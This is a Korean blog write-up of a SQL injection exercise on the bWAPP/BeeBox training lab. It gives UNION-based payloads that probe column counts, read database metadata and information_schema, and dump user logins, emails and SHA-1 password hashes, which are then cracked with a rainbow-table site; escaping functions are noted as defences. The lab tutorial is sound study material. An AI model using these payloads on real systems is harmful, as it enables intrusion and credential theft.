Wargame/BeeBox

Beebox[SQL Injection (GET/Search)]

D4tai1 2021. 3. 30.

SQL Injection : 사용자가 SQL구문을 삽입했을 때 서버에서 입력값을 검증하지 않아 내부정보유출, 인증우회


 1. LOW 

(1) 입력

[그림1] 입력

 작은 따옴표를 입력했을 때

오류메세지가 출력된다면 SQL인젝션이 가능합니다


(2) 공격

 

[그림2] SQL Injection

 SQL문을 True로 만들어서 뒤를 생략하고 전체 출력!

 

여기서 이 테이블이 주가 아니고

다른 테이블도 확인하기 위해 

 

UNION을 사용해서 새로운 쿼리문을 작성할게요.

 

SELECT 뒤에 컬럼의 개수가 UNION앞의 SELECT문과 동일해야하기 때문에

아래와 같이 여러번 테스트를 거쳐야 되겠죠?

 

입력테스트

 

'UNION SELECT 1#

'UNION SELECT 1, 2#

'UNION SELECT 1, 2, 3#

'UNION SELECT 1, 2, 3, 4#

'UNION SELECT 1, 2, 3, 4, 5#

'UNION SELECT 1, 2, 3, 4, 5, 6# 

'UNION SELECT 1, 2, 3, 4, 5, 6, 7# 

 

참고로 UNION 뒤에 (ALL)을 붙이게되면

중복을 제거하지 않고 모두 출력해주게 됩니다.

더보기

SELECT * FROM A

UNION  (ALL)      

SELECT * FROM B

'UNION ALL SELECT 1, 2, 3, 4, 5, 6, 7#

[그림3] UNION을 사용한 인젝션

 그러면 2, 3, 4, 5번 컬럼이 출력이 되네요!!

시스템변수 및 함수 설명
database() 현재 데이터베이스를 반환
user() 현재 사용자를 반환
version() 현재 데이터베이스서버의 버전을 반환
system_user() 현재 데이터베이스의 최고권한 사용자를 반환
@@datadir 현재 데이터베이스가 있는 경로를 반환

 위 표에 맞춰서 출력해보도록 할게요

 

[그림4] 공격

 

'UNION ALL SELECT 1, database(), @@datadir, system_user(), version(), 6, 7#

 위 테이블에 맞춰서 공격을 해보니 

DB이름 : bWAPP

경로 : /var/lib/mysql/

버전 : 5.0.96-0ubuntu3

최고사용자 : root@localhost

라는 것을 알 수 있네요!! 

 


 

이제 테이블정보를 얻어볼게요!!

 

[그림5] 테이블 확인

0'UNION ALL SELECT 1, table_name, 3, 4, 5, 6, 7 from information_schema.tables#

 테이블 목록을 확인하기위해 이렇게 입력을 했어요!

 

사용자정보를 추출하기위해 users(아래서 3번째) 테이블을 공략해보죠!

 


users 테이블에 컬럼종류를 알아볼게요

0'UNION ALL SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columns#

이렇게 작성하면 다른 테이블에 있는 column 종류도 다 출력되니까

테이블이름이 users 테이블만 출력해 볼게요

 

0'UNION ALL

SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columns

where table_name=users#

 

참고로 UNION절이 있을 때

앞 SELECT와 뒤 SELECT 모두 ORDER BY를 쓰는 것은 안되나 보네요

 

[그림6] users테이블의 컬럼이름

 이제 컬럼이름을 얻었으니 컬럼의 내용을 확인해보도록 할게요

 

0'UNION ALL

SELECT 1, id, login, email, password, 6, 7 from users#

 

단, 4개의 테이블만 출력이 되니 추가로 보고싶은 컬럼이 있다면

concat("첫번째 컬럼", "두번째 컬럼")을 사용하면

두 컬럼의 내용을 붙여서 하나의 컬럼처럼 출력할수도 있어요

 

[그림7] users 테이블 출력

  A.I.M과 bee가 있네요!

패스워드(40바이트)는 sha-1로 되어있는것 같네요

 

[그림8] sha-1 복호화

 레인보우테이블을 이용해서 복호화하는 사이트에서

패스워드가 bug라는 것을 확인했어요

 

 

2. Medium & High 

(1) 소스코드 확인

Low와 동일하게 입력해보았지만 실행이 되지 않네요

 

[그림9] 소스코드 확인

 

[그림10] 대응방안

addslashes함수는

특수문자 등에 "\"(역슬래시)를 붙여주는 함수입니다.

 

 

mysql_real_escape_string함수는

NULL, \n, \r, \, ', ""\"(역슬래시)를 붙여주는 함수입니다.

 

 

'Wargame > BeeBox' 카테고리의 다른 글

Beebox[Server-Side Includes (SSI) Injection]  (0) 2021.03.30
Beebox[PHP Code Injection]  (0) 2021.03.30
Beebox[OS Command Injection - Blind]  (0) 2021.03.30
Beebox[OS Command Injection]  (0) 2021.03.29
Beebox[iFrame Injection]  (0) 2021.03.29

댓글